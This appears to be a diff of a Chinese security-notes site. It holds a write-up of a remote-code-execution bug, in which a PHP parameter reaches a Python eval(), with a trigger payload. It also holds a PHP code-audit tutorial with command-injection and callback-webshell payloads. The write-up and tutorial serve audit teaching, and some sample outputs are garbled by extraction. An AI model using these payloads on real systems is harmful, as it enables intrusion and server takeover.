internal: true
regex:
- \S{32}

matchers-condition: and
matchers:
- type: word
part: body_3
words:
- "uid=0(root) gid=0(root) groups=0(root)"

- type: word
part: body_2
words:
- "Status"
- "ErrMsg"
condition: and

- type: status
part: status_code_2
status:
- 200
+

在这个漏洞中出发点是getMessageSettingAction.php文件的platform_sel参数,查看相关代码,发现是一段json请求

+
<?php
include "../permission.php";
if(!isPermission('operator')){
echo "F";
return;
}else if(!verifyToken()){
echo "F";
return;
}
include_once "../includeUtils.php";
session_write_close();
$company_uuid = $_GET['company_uuid'];
$platform_sel = $_GET['platform_sel'];
$param = "{" . '"company_uuid":"'.$company_uuid .'"';
$param = $param . ',' . '"setting_type":' . $platform_sel;
$param = $param . "}";


$result=getMessageSettingInfo($param);
$resultArray = json_decode($result['body'], true);
$resultArray['Result']['sms_template_param'] = base64_decode($resultArray['Result']['sms_template_param']);
$resp = array("Status"=>$result['status'], "Result"=>$resultArray);
echo json_encode($resp,JSON_UNESCAPED_UNICODE);
?>
+

触发方式,这段为python代码

+
os.system("id+>+/opt/var/majorsec/installation/master/runtime/img/config")
+

于是不难猜出php只是一个中间价,触发的地方是python起的服务,里面肯定有个eval函数之类的

+
function postCommand($parameter){
$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $parameter);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$url = "http://".$GLOBALS['serverNm'].":8000/";
writeLog('post param is '.$parameter, 2);
writeLog('url is '.$url, 2);
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$headers = array(
"Content-Length: ".strlen($parameter),
"Content-Type: application/x-www-form-urlencoded"
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$result = curl_exec ($ch);
writeLog('post api returns:'.$result, 2);
$httpCode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
writeLog($url.' status:'.$httpCode, 2);
writeLog($url.' get api returns:'.$result, 2);
curl_close ($ch);
return array("status"=>$httpCode, "body"=>$result);

}
+

找到其中的python服务

+

image-20240911103748098

+

查看相关代码发现为一个简易的python服务。

+
class CommandHandler (tornado.web.RequestHandler):
# @gen.coroutine
def post(self):
try:
logging.debug('\n'.join(
'{0}:{1}'.format(k, v) for (k, v) in self.request.headers.get_all()
))
logging.debug(self.request.body)

command = self.request.body
ret, msg = routeCommand(command, self)

if ret and ret != "alreadySendToFrontEnd":
self.write(msg)
self.finish()
elif not ret:
logging.error(msg)
raise Exception(msg)
except Exception as e:
logging.error("CommandHandler Exception: {}".format(e))
raise tornado.web.HTTPError(400)

def yamin_send_back(self, code, msg):
logging.debug('msg:' + str(msg))
self.write(msg)
self.flush()
self.finish()
return


conf, store = {}, {}


if not initStore():
sys.exit(-1)

app = tornado.web.Application([
(r"/", CommandHandler),
])
+

路由处理函数routeCommand

+
def routeCommand(commandline, handler):
global conf
if not commandline:
return False, "Invalid command"

if len(commandline) > 4096 or len(commandline) < 4:
return False, "Invalid command"

command, args = None, None
try:
l = commandline.split('|', 1)
command, args = l[:2] if len(l) > 1 else (l[0], '')
except Exception as e:
return False, "Cannot parse {}:{}".format(commandline, e)

stage = getStage()
if command not in commands[stage]:
return False, "Invalid command {0} at stage {1}".format(command, stage)
if stage in (2, 3) and not initStore():
return False, "Unavailable service"

conf['server'] = handler
try:
command = command.replace('-', '_')
return eval(command)(args=args.split('|'), conf=conf, store=store)
except Exception as e:
return False, e
+

这段函数就是通过处理不同的command分别调用不同的函数

+
return eval(command)(args=args.split('|'), conf=conf, store=store)
+

这个command 也有一段列表,也就是

+
commands = [
# bootstrap.sh
['dummy', 'ping', 'init-dbs', 'set-init-stage', 'call-upgrade-dbs', 'get-suid',
'get-company-uuid', 'set-company-init', 'set-hasher-link', 'verify-passwd'],
# cli.py
['dummy', 'ping', 'set-net', 'get-net', 'get-suid', 'set-hasher-link', 'set-userinfo', 'get-command-result',
'set-init-stage', 'get-init-stage', 'update-serverjson', 'get-company-uuid', 'set-company-init', 'verify-passwd'],
# config system via master
['dummy', 'ping', 'set-net', 'get-net', 'set-system', 'set-license', 'get-net2', 'get-backup-config', 'set-backup-run',
'set-userinfo', 'get-license', 'get-userinfo', 'get-datetime', 'get-company-uuid', 'set-backup-test', 'set-backup-config', 'get-license-info',
'set-passwd', 'set-init-stage', 'get-init-stage', 'set-datetime', 'set-ntp', 'get-ntp', 'get-zonelist', 'set-hasher-link', 'get-uptime','set-firstconfig',
'set-certificate', 'get-if-pw-changed', 'set-nginx-reload', 'set-company-init', 'get-greeting-message-status', 'get-backup-filelist-v2', 'set-makeAgent',
'set-start-init', 'get-cer-time', 'get-cer-info', 'set-zonetime', 'get-log', 'set-greeting-message-status', 'get-command-result', 'set-move-file',
'get-mail-info', 'set-mail-info', 'restart-appliance', 'update-serverjson', 'get-suid', 'apply-hotfix', 'get-license-preview', 'set-customziedId',
'verify-passwd', 'change-service-status', 'get-service-status', 'get-remote-status', 'get-company-list', 'get-sms-setting',
'disable-remote', 'get-remote-token', 'get-cpuMem', 'get-cpuMem2', 'get-disk', 'get-upgrade-integrity', 'get-upgrade-log', 'get-company-code',
'get-account-state', 'unlock-account', 'set-mp-time', 'get-login-failed-count', 'get-license-expired', 'get-current-license-info', 'get-block-incoming-logs'],
# system is running
['dummy', 'ping', 'set-passwd', 'set-service', 'get-if-pw-changed', 'get-net2', 'get-command-result', 'set-backup-test', 'set-backup-config',
'set-certificate', 'set-license', 'set-userinfo', 'set-datetime', 'set-ntp', 'get-ntp', 'get-zonelist', 'get-company-uuid',
'set-system', 'set-repo', 'download-file', 'get-backup-filelist', 'get-log', 'get-product-info', 'set-backup-run',
'get-upgrade-fileinfo', 'get-system', 'get-service-status', 'get-remote-status', 'set-service-restart-after-time-change', 'get-company-code',
'get-mail-info', 'set-mail-info', 'set-zonetime', 'get-datetime', 'set-hasher-link', 'get-backup-config', 'get-command-result', 'set-company',
'get-userinfo', 'get-license', 'set-net', 'get-net', 'set-init-stage', 'get-greeting-message-status', 'verify-passwd', 'set-firstconfig',
'get-init-stage', 'get-disk', 'get-cpuMem', 'get-cer-time', 'get-suid', 'get-cpuMem2', 'get-backup-filelist-v2', 'set-move-file',
'get-cer-info', 'get-company-code', 'restart-appliance', 'get-ehelp-ticket', 'set-greeting-message-status', 'get-about-us', 'apply-offline-package',
'set-ehelp-ticket', 'e-help', 'update-serverjson', 'e-help-download', 'get-upgrade-status', 'get-license-info', 'set-makeAgent', 'get-mt-status',
'download-upgrade-file', 'shutdown-appliance', 'get-server-agent-vers', 'get-remote-token', 'get-license-preview', 'change-service-status',
'agent-json-to-sqlite', 'send-signal-process', 'apply-hotfix', 'sync-serverjson', 'get-license-days', 'set-customziedId', 'force-restart-appliance',
'get-sms-setting', 'set-sms-setting', 'disable-remote', 'set-sms-test', 'get-company-list', 'get-uptime', 'get-upgrade-integrity',
'get-upgrade-log', 'get-account-state', 'unlock-account', 'set-mp-time', 'set-cleandisk-threshold', 'get-cleandisk-threshold', 'get-login-failed-count',
'get-license-expired', 'get-current-license-info', 'get-block-incoming-logs'],
# dummy
['get-upgrade-status', 'get-upgrade-log'],
# upgrade system via yamin-self
['dummy', 'ping', 'set-init-stage', 'get-init-stage']
]
+

上文提到的POC,在php中的相关代码如下

+
function getMessageSettingInfo($param){
return handleEmptyResult(postCommand("get-sms-setting|".$param));
}
+

它在python的逻辑是

+
def get_sms_setting(**kwargs):
try:
store = kwargs['store']
args = kwargs['args']
param = eval(args[0])
# company_id = 0
if "company_uuid" not in param:
logging.error("invalid request, not found company_uuid")
return True, setResult(1, "invalid request, not found company_uuid")
if "setting_type" not in param:
logging.error("invalid request, not found setting_type")
return True, setResult(1, "invalid request, not found setting_type")
with store['dbs'].connect() as conn:
q2 = {
"query": "CALL `mjs`.`usp_alert_get_sms_setting`(:company_uuid,:setting_type,@r)",
"args": {
"company_uuid": param['company_uuid'],
"setting_type": param['setting_type']
}
}
logging.debug("get sms setting by cmd: {}".format(q2))
res = []

def get_setting_details(result):
row = result.fetchone()
setting_info = {}
setting_info['company_uuid'] = param['company_uuid']
# setting_info['setting_id'] = row['setting_id']
setting_info['region'] = row['region']
setting_info['access_key_id'] = row['access_key_id']
setting_info['access_key_secret'] = row['access_key_secret']
setting_info['entry_point'] = row['entry_point']
setting_info['topic'] = row['topic']
setting_info['sms_template_code'] = row['sms_template_code']
setting_info['sms_template_param'] = row['sms_template_param']
setting_info['sms_sign_name'] = row['sms_sign_name']
setting_info['status'] = row['status']
res.append(setting_info)
dbs_call(get_setting_details, conn, **q2)
if not len(res):
logging.error("not obtain sms setting details")
return True, setResult(1, "not obtain sms setting details")
logging.debug("got sms setting detail: {}".format(res[0]))
return True, setResult(0, res[0])
except Exception as e:
logging.error("get_sms_setting exception: {}".format(e))
return True, setResult(1, "get_sms_setting exception: {}".format(e))
+

可以看到param = eval(args[0]) 是漏洞的触发位置,而 args[0]就是php的$param

+
$company_uuid = $_GET['company_uuid'];
$platform_sel = $_GET['platform_sel'];
$param = "{" . '"company_uuid":"'.$company_uuid .'"';
$param = $param . ',' . '"setting_type":' . $platform_sel;
$param = $param . "}";
+

可以看到 setting_type为int类型,我们即可传入恶意的python代码,最终实现rce

+ + \ No newline at end of file diff --git a/docs/个人知识库/代码审计/PHP/PHP代码审计基础知识/index.html b/docs/个人知识库/代码审计/PHP/PHP代码审计基础知识/index.html new file mode 100644 index 0000000..9e529ec --- /dev/null +++ b/docs/个人知识库/代码审计/PHP/PHP代码审计基础知识/index.html @@ -0,0 +1,767 @@ + + + + + +PHP代码审计基础知识 | wjlin0 + + + + + + + +

PHP代码审计基础知识

作者修订时间
wjlin02025-08-19 16:49:03
+

本文章主要是PHP代码审计的一些基础知识,包括函数的用法,漏洞点,偏向基础部分,个人能力有限,部分可能会出现错误或者遗漏,读者可自行补充。

+

代码执行​

+

代码执行是代码审计当中较为严重的漏洞,主要是一些命令执行函数的不适当使用。那么,常见的能够触发这类漏洞的函数有哪些呢?

+

eval()​

+

想必大家对eval()函数应该并不陌生,简而言之eval()函数就是将传入的字符串当作 PHP 代码来进行执行。

+
eval( string $code) : mixed
+

返回值​

+

eval() 返回 NULL,除非在执行的代码中 return了一个值,函数返回传递给 return的值。PHP7开始,执行的代码里如果有一个parse error,eval() 会抛出 ParseError 异常。在 PHP 7 之前,如果在执行的代码中有 parse error,eval() 返回FALSE,之后的代码将正常执行。无法使用set_error_handler()捕获 eval() 中的解析错误。

+

也就是说,我们在利用eval()函数的时候,如果我们传入的字符串不是正常的代码格式,那么就会抛出异常。所以PHP7和PHP5在这部分最大的不同是什么呢?简而言之,PHP5在代码错误格式错误之后仍会执行,而PHP7在代码发生错误之后,那么eval()函数就会抛出异常,而不执行之后的代码。

+

示例:

+
<?php
$code = "echo 'This is a PHP7';";
eval($code);
?>

执行结果——>This is a PHP```


那么如果我要执行系统命令呢?这个时候就需要用到PHP中的`system`函数。

```php
<?php
$code = "system('whoami');";
eval($code);
?>

执行结果——>desktop-m61j5j6\admin
+

那么到此,我们就可以结合其他姿势通过这个函数实现任意代码执行了。

+

assert()​

+

PHP

+
assert( mixed $assertion[, string $description] ) : bool
+

PHP

+
assert( mixed $assertion[, Throwable $exception] ) : bool
+

参数​

+
    +
  • assertion
  • +
+

断言。在PHP 5 中,是一个用于执行的字符串或者用于测试的布尔值。在PHP 7 中,可以是一个返回任何值的表达式,它将被执行结果用于判断断言是否成功。

+
    +
  • description
  • +
+

如果assertion失败了,选项description将会包含在失败信息里。

+
    +
  • exception
  • +
+

在PHP 7中,第二个参数可以是一个Throwable对象,而不是一个字符串,如果断言失败且启用了assert.exception,那么该对象将被抛出

+

assert()配置​

+ + + + + + + + + + + + + + + + + + + + +
配置项默认值可选值
zend.assertions11 - 生成和执行代码(开发模式) 0 - 生成代码,但在执行时跳过它 -1 - 不生成代码(生产环境)
assert.exception01 - 断言失败时抛出,可以抛出异常对象,如果没有提供异常,则抛出AssertionError对象实例 0 - 使用或生成Throwable,仅仅是基于对象生成的警告而不是抛出对象(与PHP 5 兼容)
+

所以搞了这么多,assert()函数到底是干什么的呢?用我的理解来说,assert()函数是处理异常的一种形式,相当于一个if条件语句的宏定义一样。

+

一个PHP 7 中的示例

+
<?php
assert_options(ASSERT_EXCEPTION, 1); // 设置在断言失败时产生异常
try {
assert(1 == 2, new AssertionError('因为1不等于2,所以前面断言失败,抛出异常')); // 用 AssertionError 异常替代普通字符串
} catch (Throwable $error) {
echo $error->getMessage();
}
?>


执行结果——>因为1不等于2,所以前面断言失败,抛出异常
+

这里就是实例化一个对象,用这个对象来抛出异常。

+

一个php 5 中的示例

+
<?php
assert(1 == 2,'前面断言失败,抛出异常');
?>

执行结果——>Warning: assert(): 前面断言失败,抛出异常 failed in D:\phpstudy_pro\WWW\1.php on line
<?php
assert(1 == 2);
?>

执行结果——>Warning: assert(): Assertion failed in D:\phpstudy_pro\WWW\1.php on line ```


所以PHP 7 相较于PHP 5 就是多了个用Throwable来发出警告。

那么,如果前面断言成功呢?会发生什么呢?来个最简单,也是我们比较喜欢的示例

```php
<?php
$code = "system(whoami)"
assert($code);
?>

执行结果——>desktop-m61j5j6\admin
+

这段代码在PHP 5 和PHP 7 中都会返回命令执行结果,虽然PHP 7 中对断言函数的参数稍作了改变,但是为了兼容低版本,所以还是会直接返回结果。

+

preg_replace()​

+

通过函数名字我们也应该能够了解函数大概作用,此函数执行一个正则表达式的搜索和替换。

+
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
+

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

+

参数说明:​

+
    +
  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
  • +
  • $replacement: 用于替换的字符串或字符串数组。
  • +
  • $subject: 要搜索替换的目标字符串或字符串数组。
  • +
  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  • +
  • $count: 可选,为替换执行的次数。
  • +
+

那这个函数跟我们命令执行有什么关系呢?仅仅看上面的官方解释似乎看不出什么,但是preg_repace()有一个模式是/e模式,这个模式就会发生代码执行的问题,为什么呢?

+

看一个案例

+
<?php
function Ameng($regex, $value){
return preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
}
foreach ($_GET as $regex => $value){
echo Ameng($regex, $value) . "\n";
}
?>
+

上面这段我们需要注意的就是\1,\1在正则表达式是反向引用的意思,简而言之就是指定一个子匹配项。

+

针对上面案例,我们来个payload:

+
payload=/?.*={${phpinfo()}}
所以语句就成了这样
preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
+

那么我们直接把这段代码放到页面

+
<?php
preg_replace('/(.*)/ei', 'strtolower("\\1")', '{${phpinfo()}}');
?>
+

访问页面,结果如下:

+

img

+

我们看到成功执行了代码。

+

但是这里我是直接将这段代码写到了文件里,那么如果我们是通过GET传参得到参数,这里针对上面那个案例就需要注意一点,在通过GET传参时,.*会被替换为_*导致我们要的正则被替换了,达不到我们的效果,所以这里可用使用一些其他的正则表达式来达到目的,比如通过GET传参时我们的参数可以传入\S*从而达到同样目的。所以以后再遇到这个函数的时候,要留个心眼了。不过,这里要补充一点,就是preg_replace()函数在PHP 7 后便不再支持,使用preg_replace_callback()进行替换了,取消了不安全的\e模式。

+

create_function()​

+

create_function()用来创建一个匿名函数

+
create_function( string $args, string $code) : string
+

参数​

+
    +
  • string $args 声明的函数变量部分
  • +
  • string $code 要执行的代码
  • +
+

返回值​

+

返回唯一的函数名称作为字符串或者返回FALSE错误

+

create_function()函数在内部执行eval()函数,所以我们就可以利用这一点,来执行代码。当然正因为存在安全问题,所以在PHP 7.2 之后的版本中已经废弃了create_function()函数,使用匿名函数来代替。所以这里为了演示这个函数,我采用的是PHP 5 的环境。那么这个函数到底怎么用呢?

+

那么来看我写的一个简单的案例

+
<?php
$onefunc = create_function('$a','return system($a);');
$onefunc(whoami);
?>

执行结果——>desktop-m61j5j6\admin
+

我们看到使用此函数为我们相当于创造了一个匿名的函数,给它赋以相应的变量,就执行了我们要执行的代码。

+

那么接下来我们来看一个简单的案例

+
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>
+

这个主要功能就是实现排序,这段代码就调用了create_function()函数,那么我们能否利用这个函数执行我们想要执行的代码呢?

+

当然可以,我们只需要在传参时将前面的符号闭合,然后输入我们想要执行的代码即可。

+
payload='"]);}phpinfo();/*
执行payload前:$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
执行payloda后:$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
+

看到这里,你可能会有稍微疑惑,就是你闭合就闭合吧,为什么后面多了个;},不知道你是否想到了这一点?

+

那么我就来分析一下这个,上面的那段执行代码,实际上就是一个匿名函数的创建,既然是一个函数,注意是一个函数,那么你觉得有没有花括号呢?看我如下代码

+
<?php
//未闭合之前
function sort($a,$b){
' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
}
//闭合之后
function sort($a,$b){
' return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}
?>
+

可以看到,我们借用了匿名函数的位置,插入了我们要执行的代码,然后等这个匿名函数被create_function当作$code执行的时候,是不是代码就被执行了。

+

结果:

+

img

+

那么creat_function函数还有别的用法吗?我们将上面一个案例简单的修改一下,代码如下:

+
<?php
$onefunc = create_function("","die(`cat flag.php`)");
$_GET['func_name']();
die();
?>
+

代码简单的来看,我们只需要执行$onefunc就能得到flag,但是我们不知道这个函数的名称。如果在不知道函数名称的情况下执行函数呢?这里就用到了creat_function函数的一个漏洞。这个函数在creat之后会自动生成一个函数名为%00lambda_%d的匿名函数。%d的值是一直递增的,会一直递增到最大长度直到结束。所以这里可以通过多进程或者多线程访问,从而看到flag。

+

所以,以后再代码中如果看到调用create_function()要小心一点,但是如果是CTF题目的话,不会这么直接就吧这个函数暴露给你,它可能会用到拼接或者替换来构造这个函数。最后再强调一下,create_function函数在PHP 7.2 版本之后就已经被废弃了。

+

array_map()​

+

array_map()为数组的每个元素应用回调函数

+
array_map( callable $callback, array $array1[, array $...] ) : array
+

array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给array_map() 数组数量,两者必须一样。

+

参数​

+
    +
  • callback:回调函数,应用到每个数组里的每个元素。
  • +
  • array1:数组,遍历运行callback函数。
  • +
  • ...:数组列表,每个都遍历运行callback函数。
  • +
+

返回值​

+

返回数组,包含callback函数处理之后array1的所有元素。

+

说了这么多官方的函数解释,那么这个函数到底如何使用呢?简而言之,这个函数的作用可以这么直白的解释一下。你本来有一个数组,然后我通过array_map函数将你这个数组当作参数传入,然后返回一个新的数组。见下图。

+

img

+

代码示例:

+
<?php
$old_array = array(1, 2, 3, 4, 5);
function func($arg){
return $arg * $arg;
}
$new_array = array_map('func',$old_array);
var_dump($new_array);
?>


执行结果——>
array(5) {
[0]=>
int(1)
[1]=>
int(4)
[2]=>
int(9)
[3]=>
int(16)
[4]=>
int(25)
}
+

通过上述代码,我们大概知道这个函数就是调用回调函数(用户自定义的函数)来实现对现有数组的操作,从而得到一个新的数组。

+

那么功能我知道了,可是这个和代码执行有什么关系呢?如何能够利用这个函数执行代码呢?且看下面所示代码。

+
<?php
$func = 'system';
$cmd = 'whoami';
$old_array[0] = $cmd;
$new_array = array_map($func,$old_array);
var_dump($new_array);
?>


执行结果——>
desktop-m61j5j6\admin
array(1) {
[0]=>
string(21) "desktop-m61j5j6\admin"
}
+

这段代码就是,通过array_map()这个函数,来调用用户自定义的函数,而用户这里的回调函数其实就是system函数,那么就相当于我们用system函数来对旧数组进行操作,得到新的数组,那么这个新的数组的结果就是我们想要的命令执行的结果了。

+

call_user_func()​

+

call_user_func()是把第一个参数作为回调函数调用

+
call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed
+

参数​

+

第一个参数callback是被调用的回调函数,其余参数是回调函数的参数。

+
    +
  • callback:即将被调用的回调函数
  • +
  • parameter:传入回调函数的参数
  • +
+

这个函数还是非常好理解的,看一段简单的示例代码

+
<?php
function callback($a,$b){
echo $a . "\n";
echo $b;
}
call_user_func('callback','我是参数1','我是参数2');
?>


执行结果——>
我是参数我是参数```


可以看到此函数作用就是调用了笔者自定义的函数。那么这个如何实现代码执行呢?好说,你在前面自定义的函数中加入能执行命令的代码不久可以代码执行了。

示例代码:

```php
<?php
function callback($a){
return system($a);
}
$cmd = 'whoami';
call_user_func('callback',$cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

call_user_func_array()​

+

这个函数名称跟上没什么大的差别,唯一的区别就在于参数的传递上,这个函数是把一个数组作为回调函数的参数

+
call_user_func_array( callable $callback, array $param_arr) : mixed
+

参数​

+
    +
  • callback:被调用的回调函数
  • +
  • param_arr:要被传入回调函数的数组,这个数组需要是索引数组
  • +
+

示例代码

+
<?php
function callback($a,$b){
echo $a . "\n";
echo $b;
}
$onearray = array('我是参数1','我是参数2');
call_user_func_array('callback',$onearray);
?>


执行结果——>
我是参数我是参数```


示例代码:

```php
<?php
function callback($a){
return system($a);
}
$cmd = array('whoami');
call_user_func_array('callback',$cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

array_filter()​

+

用回调函数过滤数数组中的单元

+
array_filter( array $array[, callable $callback[, int $flag = 0]] ) : array
+

依次将array数组中的每个值传到callback函数。如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

+

参数​

+
    +
  • array:要循环的数组
  • +
  • callback:使用的回调函数。如果没有提供callback函数,将删除array中所有等值为FALSE的条目。
  • +
  • flag:决定callback接收的参数形式
  • +
+

代码示例(这里看官方的就行,很详细):

+
<?php
function odd($var)
{
// returns whether the input integer is odd
return($var & 1);
}

function even($var)
{
// returns whether the input integer is even
return(!($var & 1));
}

$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);
$array2 = array(6, 7, 8, 9, 10, 11, 12);

echo "Odd :\n";
print_r(array_filter($array1, "odd"));
echo "Even:\n";
print_r(array_filter($array2, "even"));
?>


执行结果——>
Odd :
Array
(
[a] => [c] => [e] => )
Even:
Array
(
[0] => [2] => [4] => [6] => )
+

从上面代码我们知道,这个函数作用其实就是过滤,只不过这个过滤调用的是函数,而被过滤的是传入的参数。到这里你心里有没有代码执行的雏形了?

+

代码示例:

+
<?php
$cmd='whoami';
$array1=array($cmd);
$func ='system';
array_filter($array1,$func);
?>


执行结果——>
desktop-m61j5j6\admin
+

usort()​

+

使用用户自定义的比较函数对数组中的值进行排序

+
usort( array &$array, callable $value_compare_func) : bool
+

参数​

+
    +
  • array:输入的数组
  • +
  • cmp_function:在第一个参数小于、等于或大于第二个参数时,该比较函数必须相应地返回一个小于、等于或大于0的数
  • +
+

代码示例:

+
<?php
function func($a,$b){
return ($a<$b)?1:-1;
}
$onearray=array(1,3,2,5,9);
usort($onearray, 'func');
print_r($onearray);
?>

执行结果——>
Array
(
[0] => [1] => [2] => [3] => [4] => )
+

可见实现了逆序的功能。那么倘若我们把回调函数设计成能够执行代码的函数,是不是就可以执行我们想要的代码了呢?

+

代码示例:

+
<?php 
usort(...$_GET);
?>

payload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert
POST传参: x=phpinfo();
+

usort的参数通过GET传参,第一个参数也就是$_GET[0],随便传入一个数字即可。第二个参数也就是$_GET[1]是我们要调用的函数名称,这里采用的是assert函数。

+

执行结果:

+

img

+

uasort()​

+

这个跟上一个差不多,区别不是很大。此函数对数组排序并保持索引和单元之间的关联。也就是说你这个排完序之后呢,它原来对应的索引也会相应改变,类似于“绑定”。

+
uasort( array &$array, callable $value_compare_func) : bool
+

参数​

+
    +
  • array:输入的数组
  • +
  • value_compare_func:用户自定义的函数
  • +
+

这里用的仍然官方例子(比较好理解)

+
<?php
// Comparison function
function cmp($a, $b) {
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}

// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);

// Sort and print the resulting array
uasort($array, 'cmp');
print
?>

执行结果——>
Array
(
[a] => [b] => [c] => - [d] => - [e] => [f] => [g] => [h] => -)
Array
(
[d] => - [h] => - [c] => - [e] => [g] => [a] => [f] => [b] => )
+

我们发现,在排完序之后索引也跟着值的位置变化而变化了。那么代码执行的示例代码其实也和上一个差不多。

+

代码示例:

+
<?php
$a = $_GET['a'];
$onearray = array('Ameng', $_POST['x']);
uasort($onearray, $a);
?>
+

执行结果:

+

img

+

总结​

+

看完这里不知道你对代码审计中的代码执行部分是否有另一种想法?我的想法就是这个是和后门联系在一起的。我们可以看到很多函数都具有构造执行命令的条件,而且其中很多函数也的确被用在后门中,特别像后面几个回调函数,在后门中更是常见。当然这些后门函数也早已被安全厂商盯住,所以大部分已经无法直接免杀,所以想要免杀就需要结合其他姿势,比如替换、拼接、加密等等。但是这些知识在CTF中还是比较容易出现的。

+

命令执行​

+

说完代码执行,我们再来看看命令执行。常见的命令执行函数有哪些呢?

+

system()​

+

这个函数想必我们都是比较熟悉的,此函数就是执行外部指令,并且显示输出

+
system( string $command[, int &$return_var] ) : string
+

参数​

+
    +
  • command:必需。要执行的命令
  • +
  • return_var:可选。若设置了这个参数,那么命令执行后的返回状态就会被放到这个变量中
  • +
+

示例代码:

+
<?php
$cmd = 'whoami';
system($cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

exec()​

+

这个其实和上面system函数没有太大区别,都是执行外部程序指令,只不过这个函数多了一个参数,可以让我们把命令执行输出的结果保存到一个数组中。

+
exec( string $command[, array &$output[, int &$return_var]] ) : string
+

参数​

+
    +
  • command:必需。要执行的命令
  • +
  • output:可选。如果设置了此参数,那么命令执行的结果将会保存到此数组。
  • +
  • return_var:可选。命令执行的返回状态。
  • +
+
<?php
$cmd = 'whoami';
echo exec($cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

shell_exec()​

+

此函数通过shell环境执行命令,并且将完整的输出以字符串的方式返回。如果执行过程中发生错误或者进程不产生输出,那么就返回NULL

+
shell_exec( string $cmd) : string
+

参数​

+
    +
  • cmd:要执行的命令
  • +
+

代码示例:

+
<?php
$cmd = 'whoami';
echo shell_exec($cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

passthru()​

+

执行外部程序并且显示原始输出。既然我们已经有执行命令的函数了,那么这个函数我们什么时候会用到呢?当所执行的Unix命令输出二进制数据,并且需要直接传送到浏览器的时候,需要用此函数来替代exec()或system()函数

+
passthru( string $command[, int &$return_var] ) : void
+

参数​

+
    +
  • command:要执行的命令
  • +
  • return_var:Unix命令的返回状态将被记录到此函数。
  • +
+

代码示例:

+
第一你可以这么写
<?php
passthru('whoami'); //直接将结果返回到页面
?>
第二你可以这么写
<?php
passthru('whoami',$result); //将结果返回到一个变量,然后通过输出变量值得到输出内容
echo $result;
?>
+

pcntl_exec()​

+

在当前进程空间执行指定程序。关键点就在于进程空间,倘若我现在设定一个条件,你只有在某个子进程中才能读取phpinfo,那这个时候,我们就需要用到这个函数了。

+
pcntl_exec( string $path[, array $args[, array $envs]] ) : void
+

参数​

+
    +
  • path:path必须时可执行二进制文件路径或在一个文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)
  • +
  • args:此参数是一个传递给程序的参数的字符串数组
  • +
  • envs:环境变量,这个想必大家都很熟悉,只不过这里强调一点,这里传入的是数组,数组格式是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。
  • +
+

示例代码:

+
//father
<?php
pcntl_exec('/usr/local/bin/php', ['2.php']);
?>
+
//son
<?php
while(true){
echo 'ok';
}
?>
+

popen()​

+

此函数使用command参数打开进程文件指针。如果出错,那么该函数就会返回FALSE。

+
popen(command,mode)
+

参数​

+
    +
  • command:要执行的命令
  • +
  • mode:必需。规定连接的模式 +
      +
    • r:只读
    • +
    • w:只写(打开并清空已有文件或创建一个新文件)
    • +
    +
  • +
+

代码示例:

+
<?php
$file = popen("demo.txt","r");
pclose($file);
?>

<?php
$file = popen("/bin/ls","r");
//some code to be executed
pclose($file);
?>
+

proc_open()​

+

此函数执行一个命令,并且打开用来输入或者输出的文件指针

+
proc_open( string $cmd, array $descriptorspec, array &$pipes[, string $cwd = NULL[, array $env = NULL[, array $other_options = NULL]]] ) 
+

此函数其实和popen函数类似,都是执行命令

+

参数​

+
    +
  • cmd:要执行的命令
  • +
  • descriptorspec:索引数组。数组中的键值表示描述符,元素值表示 PHP 如何将这些描述符传送至子进程。0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)。
  • +
  • pipes:将被置为索引数组,其中的元素是被执行程序创建的管道对应到PHP这一段的文件指针。
  • +
  • cwd:要执行命令的初始工作目录。必需是绝对路径。此参数默认使用 NULL(表示当前 PHP 进程的工作目录)
  • +
  • env。要执行命令所使用的环境变量。此参数默认为 NULL(表示和当前 PHP 进程相同的环境变量)
  • +
  • other_options:可选。附加选项 +
      +
    • suppress_errors (仅用于 Windows 平台):设置为 TRUE 表示抑制本函数产生的错误。
    • +
    • bypass_shell (仅用于 Windows 平台):设置为 TRUE 表示绕过 cmd.exe shell。
    • +
    +
  • +
+

说白了,其实就是执行命令,只不过其中多了一些选项,包括目录的,环境变量的等。

+

